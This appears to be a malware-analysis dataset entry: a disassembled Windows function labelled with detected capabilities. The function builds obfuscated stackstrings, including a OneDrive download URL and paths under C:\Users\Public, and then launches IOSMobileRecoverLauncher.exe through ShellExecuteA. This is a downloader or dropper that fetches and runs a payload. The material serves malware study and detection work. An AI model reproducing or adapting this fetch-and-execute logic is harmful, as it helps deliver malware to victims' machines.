Function at 0x613b30
Capabilities:
Contain obfuscated stackstrings
Create process on windows

Disassembly:
push ebp
mov ebp, esp
and esp, 0xfffffff8
sub esp, 0x394
mov eax, dword [0x6bd8f4]
xor eax, esp
mov dword [esp + 0x390], eax
push ebx
push esi
push edi
lea eax, [esp + 0x60]
push eax
mov esi, ecx
mov dword [esp + 0x64], 0x61636f4c
mov dword [esp + 0x68], 0x7041206c
mov dword [esp + 0x6c], 0x7a695770
mov dword [esp + 0x70], 0x2d647261
mov dword [esp + 0x74], 0x656e6547
mov dword [esp + 0x78], 0x65746172
mov dword [esp + 0x7c], 0x70412064
mov dword [esp + 0x80], 0x63696c70
mov dword [esp + 0x84], 0x6f697461
mov bl, 0x73
mov word [esp + 0x88], 0x736e
mov byte [esp + 0x8a], 0
call fcn.0045e019
push 0x32c
call fcn.0044510b
add esp, 4
test eax, eax
je 0x614128
mov edi, eax
call fcn.00614460
mov edi, eax
test edi, edi
je 0x614128
push 0
push 0
mov dword [esi + 0x20], edi
mov edx, dword [edi]
mov eax, dword [edx + 0x164]
push 0xcf8000
push 0x80
mov ecx, edi
call eax
mov dword [esp + 0x88], 0x70747468
mov byte [esp + 0x8c], bl
mov dword [esp + 0x8d], 0x772f2f3a
mov dword [esp + 0x91], 0x6e723076
mov dword [esp + 0x95], 0x6c622e77
mov dword [esp + 0x99], 0x6c69662e
mov byte [esp + 0x9d], 0x65
mov byte [esp + 0x9e], bl
mov dword [esp + 0x9f], 0x7264312e
mov dword [esp + 0xa3], 0x6f632e76
mov dword [esp + 0xa7], 0x34792f6d
mov dword [esp + 0xab], 0x58486b6d
mov dword [esp + 0xaf], 0x4b623961
mov dword [esp + 0xb3], 0x63455663
mov dword [esp + 0xb7], 0x6442505f
mov dword [esp + 0xbb], 0x644f4e4a
mov dword [esp + 0xbf], 0x46447231
mov dword [esp + 0xc3], 0x48786758
mov dword [esp + 0xc7], 0x784c426b
mov dword [esp + 0xcb], 0x6c4f4d6f
mov byte [esp + 0xcf], bl
mov dword [esp + 0xd0], 0x74346976
mov dword [esp + 0xd4], 0x6b5f556f
mov dword [esp + 0xd8], 0x6e6e6c79
mov dword [esp + 0xdc], 0x67386d39
mov dword [esp + 0xe0], 0x7a433576
mov dword [esp + 0xe4], 0x796a3463
mov dword [esp + 0xe8], 0x37492d4b
mov dword [esp + 0xec], 0x31393752
mov word [esp + 0xf0], 0x4f54
mov byte [esp + 0xf2], bl
mov word [esp + 0xf3], 0x5372
mov byte [esp + 0xf5], 0x6e
mov byte [esp + 0xf6], bl
mov dword [esp + 0xf7], 0x77445a2d
mov dword [esp + 0xfb], 0x664e5547
mov dword [esp + 0xff], 0x6168797a
mov dword [esp + 0x103], 0x6d756b39
mov dword [esp + 0x107], 0x46783178
mov dword [esp + 0x10b], 0x584f5931
mov dword [esp + 0x10f], 0x4f6d512d
mov dword [esp + 0x113], 0x3876764f
mov dword [esp + 0x117], 0x52757253
mov dword [esp + 0x11b], 0x30703738
mov dword [esp + 0x11f], 0x5251354d
mov dword [esp + 0x123], 0x7847506c
mov dword [esp + 0x127], 0x70656c79
mov dword [esp + 0x12b], 0x6b37574a
mov dword [esp + 0x12f], 0x4b65414d
mov dword [esp + 0x133], 0x585f5456
mov dword [esp + 0x137], 0x42797578
mov dword [esp + 0x13b], 0x32516353
mov word [esp + 0x13f], 0x326a
mov byte [esp + 0x141], 0x65
mov byte [esp + 0x142], bl
mov dword [esp + 0x143], 0x2d546f47
mov dword [esp + 0x147], 0x646f5332
mov dword [esp + 0x14b], 0x34704556
mov dword [esp + 0x14f], 0x34655531
mov dword [esp + 0x153], 0x2d69746c
mov byte [esp + 0x157], 0x6e
mov byte [esp + 0x158], bl
mov dword [esp + 0x159], 0x39616d32
mov dword [esp + 0x15d], 0x612d6f49
mov dword [esp + 0x161], 0x44427172
mov byte [esp + 0x165], 0x55
mov byte [esp + 0x166], bl
mov dword [esp + 0x167], 0x494c685f
mov dword [esp + 0x16b], 0x41676765
mov dword [esp + 0x16f], 0x6f4e6f30
mov dword [esp + 0x173], 0x6f724744
mov dword [esp + 0x177], 0x31765174
sub esp, 0x1c
mov ecx, esp
mov byte [esp + 0x197], bl
mov dword [esp + 0x198], 0x516d6c74
mov word [esp + 0x19c], 0x5151
mov byte [esp + 0x19e], 0
mov eax, str.C:UsersPublic131.zip
lea edx, [eax + 1]
mov dword [ecx + 0x14], 0xf
mov dword [ecx + 0x10], 0
mov byte [ecx], 0
mov dword [esp + 0x30], edx
lea ebx, [ebx]
mov dl, byte [eax]
inc eax
test dl, dl
jne 0x613f30
sub eax, dword [esp + 0x30]
push eax
push str.C:UsersPublic131.zip
call fcn.00401de0
sub esp, 0x1c
mov ecx, esp
lea eax, [esp + 0xc0]
lea edx, [eax + 1]
mov dword [ecx + 0x14], 0xf
mov dword [ecx + 0x10], 0
mov byte [ecx], 0
mov dword [esp + 0x4c], edx
lea ebx, [ebx]
mov dl, byte [eax]
inc eax
test dl, dl
jne 0x613f70
sub eax, dword [esp + 0x4c]
push eax
lea eax, [esp + 0xc4]
push eax
call fcn.00401de0
call fcn.006139c0
add esp, 0x38
mov ecx, esi
call fcn.0045db21
push 0
mov ecx, esi
call fcn.0045e56d
push 0x103
lea ecx, [esp + 0x18d]
push 0
push ecx
mov dword [esp + 0x1c], 0x4e5552
mov dword [esp + 0x24], 0x656d614e
mov byte [esp + 0x28], 0
mov byte [esp + 0x194], 0
call fcn.005da010
add esp, 0xc
push 0x103
lea edx, [esp + 0x295]
push 0
push edx
mov byte [esp + 0x29c], 0
call fcn.005da010
add esp, 0xc
push 0x104
lea eax, [esp + 0x18c]
push eax
push 0
call dword [sym.imp.KERNEL32.dll_GetModuleFileNameA]
push 0x32
call dword [sym.imp.KERNEL32.dll_Sleep]
lea ecx, [esp + 0x188]
push ecx
call dword [sym.imp.SHLWAPI.dll_PathStripPathA]
lea edx, [esp + 0x28]
push edx
lea eax, [esp + 0x294]
push eax
mov dword [esp + 0x30], 0x555c3a43
mov byte [esp + 0x34], bl
mov word [esp + 0x35], 0x7265
mov byte [esp + 0x37], bl
mov dword [esp + 0x38], 0x6275505c
mov dword [esp + 0x3c], 0x5c63696c
mov byte [esp + 0x40], 0
call dword [sym.imp.KERNEL32.dll_lstrcpyA]
lea ecx, [esp + 0x188]
push ecx
lea edx, [esp + 0x294]
push edx
call dword [sym.imp.KERNEL32.dll_lstrcatA]
lea eax, [esp + 0x290]
push eax
lea ecx, [esp + 0x18c]
push ecx
lea edx, [esp + 0x20]
push edx
lea eax, [esp + 0x1c]
push eax
call dword [sym.imp.KERNEL32.dll_WritePrivateProfileStringA]
lea ecx, [esp + 0x3c]
push ecx
mov dword [esp + 0x40], 0x51543535
mov dword [esp + 0x44], 0x4c554651
mov dword [esp + 0x48], 0x5a50554a
mov dword [esp + 0x4c], 0x41724f49
mov dword [esp + 0x50], 0x566e7456
mov dword [esp + 0x54], 0x7a4a6476
mov dword [esp + 0x58], 0x4e70496d
mov dword [esp + 0x5c], 0x4f42666e
mov word [esp + 0x60], 0x36
call fcn.006138d0
add esp, 4
call fcn.006151e0
mov dword [esp + 0x20], 0x6e65706f
mov byte [esp + 0x24], 0
push 0
push 0
push 0x67dd9d
push str.C:UsersPublicIOSMobileRecoverLauncher.exe
lea edx, [esp + 0x30]
push edx
push 0
call dword [sym.imp.SHELL32.dll_ShellExecuteA]
push 0
mov ecx, edi
call fcn.0044ca8c
mov eax, dword [edi + 0x20]
push eax
call dword [sym.imp.USER32.dll_UpdateWindow]
mov ecx, dword [esp + 0x39c]
pop edi
pop esi
pop ebx
xor ecx, esp
xor eax, eax
call fcn.005d7d2e
mov esp, ebp
pop ebp
ret